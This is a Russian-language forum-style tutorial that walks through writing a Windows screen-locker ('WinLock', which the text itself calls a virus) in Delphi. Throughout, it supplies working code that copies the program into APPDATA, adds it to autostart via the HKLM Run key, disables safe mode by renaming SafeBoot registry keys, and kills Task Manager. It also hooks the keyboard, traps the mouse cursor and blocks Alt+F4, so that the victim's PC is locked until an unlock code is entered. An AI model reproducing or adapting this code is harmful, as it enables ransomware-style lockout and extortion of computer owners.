Нажимаем 2 раза на кнопку которая с цифрами и пишем там такой код внутри строк Begin
edit1.text:=edit1.text+'1';
edit1.text:=edit1.text+'2';
edit1.text:=edit1.text+'3';
edit1.text:=edit1.text+'4';
edit1.text:=edit1.text+'5';
edit1.text:=edit1.text+'6';
edit1.text:=edit1.text+'7';
edit1.text:=edit1.text+'8';
edit1.text:=edit1.text+'9';
edit1.text:=edit1.text+'0';
Эта строка кода определяет цифру которую должна написать в Edit1(В строку куда надо написать код что бы разблокировать ПК).
Для кнопки Разблокировать пишем такой код:
if edit1.Text='КОД РАЗБЛОКИРОВКИ' then
begin
UnRegistr;
UnCopy;
Close;
end
else
Edit1.Text:='Неверный код';
Эта строчка кода будет определять код для разблокировки и если он правильный -выключать WinLock, иначе выведет - Неверный код.
Для кнопки Очистить пишем такой код:
Edit1.text:='';
Таким способом мы очистим поле для ввода кода.
И так у нас уже есть рабочие кнопочки.
Выделяем нашу форму в Objection Inspector выбираем вкладку Events, ниже ищем FormCreate нажимаем в пустую строку 2 раза и пишем код:
Copy;
Registr;
k_OldKbHook := SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);
CreateWindowsRegions(10, 10, Handle);
Таким кодом мы скопируем вирус в систему, добавим его в автозагрузку и выключим безопасный режим!
Посмотрим и видим что уже половину кода написано
Далее добавляем такой код (Добавляем где написаны все что вы уже сделали пишем ниже):
procedure Registr;
var
reg: Tregistry;
path : PathBuf;
begin
lstrcpy(path,#0);
GetEnvironmentVariable('APPDATA',path,MAX_PATH);
lstrcat(path,Vname);
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if not Reg.KeyExists('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Win') then
begin
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\Minimal','System\CurrentControlSet\Control\SafeBoot\M',true);
reg.CloseKey;
reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);
reg.CloseKey;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
reg.WriteString('Win',path);
reg.CloseKey;
reg.free;
end
else
sleep(1);
end;
Грубо говоря это процедура добавляет, точнее записывает в реестр вирус, и что бы при запуске ПК она запускался.
Так же после пишем ещё один код:
procedure TForm1.CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle);
var
FirstRegion, SecondRegion, CombineRegion : THandle;
begin
FirstRegion := CreateRoundRectRGN(5 + X, 5 + Y, 1000 + X, 1000 + Y, 55, 55);
CombineRegion := FirstRegion;
SetWindowRGN(RegionHandle, CombineRegion, true);
end;
Эта процедура ставит координаты окна, но за пределы этого окна указатель мыши не сможет выйти!
Далее пишем следующий код:
procedure antio;
var
tit:HWND;
begin
tit:=FindWindow(nil, 'Диспетчер задач Windows');
if (tit>0) then
PostMessage(tit, WM_QUIT, 1, 0);
tit:=FindWindow(nil, 'Запуск программы');
if (tit>0) then
PostMessage(tit, WM_QUIT, 1, 0);
tit:=FindWindow(nil, 'Мой компьютер');
if (tit>0) then
PostMessage(tit, WM_QUIT, 1, 0);
end;
Эта процедура запрещает запуск - Диспетчера задач, открытия Мой компьютер...
Пишем следующий код:
procedure Copy;
var
path : PathBuf;
begin
lstrcpy(path,#0);
GetEnvironmentVariable('APPDATA',path,MAX_PATH);
lstrcat(path,Vname);
if not FileExists(path) then
begin
CopyFile(PChar(ParamStr(0)),path,True);
halt;
end
else
sleep(1);
end;
Устанавливает особые параметры и дает повторный запуск WinLock'ера.
Смотрим и почти уже доделали, и так мы добавили на нашу форму Timer, жмем на него два раза и пишем такой код:
var
curs: TRect;
begin
antio;
SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
curs := Rect(Form1.Left+30, Form1.Top+30, Form1.Left + Form1.Width-40, Form1.Top + Form1.Height-40);
ClipCursor(@curs);
end;
Ограничивает выход мыши за границы окна.
После этого пишем ещё один код:
procedure UnCopy;
var
path : PathBuf;
begin
lstrcpy(path,#0);
GetEnvironmentVariable('APPDATA',path,MAX_PATH);
lstrcat(path,Vname);
if FileExists(path) then
begin
DeleteFile(path);
end;
end;
Функция работает после того как введут код, она уничтожает вирус.
Теперь заблокируем клавиатуру через функцию Hook.
Пишем следующий код:
function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt;stdcall;
begin
if code < 0 then
Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam)
else
Result := 1;
end;
И далее ещё один:
procedure TForm1.WMSysCommand(var Message: TMessage);
begin
if Message.WParam <> SC_CLOSE then begin
inherited;
end;
end;
Все это заблокирует клавишу Alt+F4.
Теперь нам осталось ввести приватные и паблик процедуры, константу и объявить переменные (Глобальные):
Идем в самый вверх кода ищем там такое:
Цитата:
private
{ Private declarations }
public
{ Public declarations }
end;
В приватные пишем такое:
procedure WMSysCommand(var Message: TMessage); message WM_SYSCOMMAND;
Ну а в паблик пишем такое:
procedure CreateWindowsRegions(const X, Y : Integer; const RegionHandle : THandle);
Так все написали теперь ниже ищем такую строчку const, если нет добавляем и пишем там:
Vname = '\App.exe';
Ещё ниже будет такое - Var ниже его пишем:
Delphi highlight
Form1: TForm1;
m_OldMHook : HHook = 0;
k_OldKBHook : HHook = 0;
В самом вверху в uses должно быть такое:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, Registry, XPMan, jpeg;
Ищем строчку type и там добавляем:
Цитата:
PathBuf = array[0..MAX_PATH] of char;